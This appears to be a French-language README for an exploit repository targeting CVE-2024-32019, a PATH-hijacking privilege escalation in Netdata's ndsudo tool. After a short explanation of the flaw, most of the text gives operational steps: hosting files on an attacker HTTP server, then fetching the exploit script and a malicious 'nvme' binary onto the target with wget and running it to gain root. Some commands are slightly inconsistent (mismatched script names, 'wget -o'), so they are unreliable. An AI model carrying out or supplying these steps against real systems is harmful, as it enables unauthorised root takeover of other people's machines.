CVE-2024-32019-ndsudo

La vulnérabilité ndsudo permet à un attaquant d'obtenir des privilèges root en exploitant un chemin de recherche non fiable dans l'outil ndsudo, qui fait partie de l'Agent Netdata. Cela peut permettre l'exécution de programmes arbitraires avec des privilèges élevés si l'attaquant place un binaire malveillant dans un répertoire inscriptible et modifie la variable d'environnement PATH en conséquence.

La vulnérabilité ndsudo, identifiée comme CVE-2024-32019, affecte les versions de l'outil ndsudo incluses avec l'Agent Netdata, plus précisément les versions v1.45.0 et inférieures. Cette vulnérabilité permet à des attaquants d'élever leurs privilèges sur les systèmes où l'outil est installé.

Comment fonctionne la vulnérabilité :

Mécanisme d'exploitation :-

Chemin de recherche non fiable : L'outil ndsudo utilise la variable d'environnement PATH pour localiser les commandes externes. Un attaquant peut manipuler cette variable pour pointer vers un répertoire qu'il contrôle.

Exécution de binaires malveillants : En plaçant un exécutable malveillant portant le même nom qu'une commande que ndsudo est autorisé à exécuter (par exemple, nvme) dans un répertoire inscriptible, l'attaquant peut exécuter du code arbitraire avec les privilèges root.

Complexité de l'attaque :-

Faible complexité : L'attaque ne nécessite pas de compétences avancées ; un script bash facilement réalisable peut être utilisé pour l'élévation de privilèges, la rendant accessible à de nombreux attaquants potentiels.

Impact de la vulnérabilité :-

Élévation de privilèges : Une exploitation réussie permet à un attaquant d'obtenir un accès root, ce qui peut conduire à un contrôle total du système affecté.

Risques potentiels : Cela peut entraîner un accès non autorisé aux données, une manipulation du système et une exploitation ultérieure des ressources réseau.

ÉLÉVATION DE PRIVILÈGES J'ai créé deux scripts bash pour obtenir facilement un accès root à partir d'un utilisateur. Suivez les étapes comme indiqué ci-dessous :-

  git clone https://github.com/justjoeyking/CVE-2024-32019-ndsudo.git

  cd CVE-2024-32019-ndsudo

  chmod +x ndsudo_exp.sh

Créez maintenant un serveur python :

  python3 -m http.server 8080

Ouvrez le fichier ndsudo_exploit.sh avec gedit ou pluma selon ce qui est disponible. Vous verrez une commande wget comme ceci :

  wget http://10.10.14.70:8080/nvme -o /tmp/nvme

Remplacez l'adresse IP par l'adresse IP de votre propre machine.

Allez maintenant sur la machine cible, ouvrez un terminal et effectuez les opérations suivantes :

  wget http://<votre-ip>:8080/ndsudo_exploit.sh

  chmod +x ndsudo_exploit.sh

  ./ndsudo_exploit.sh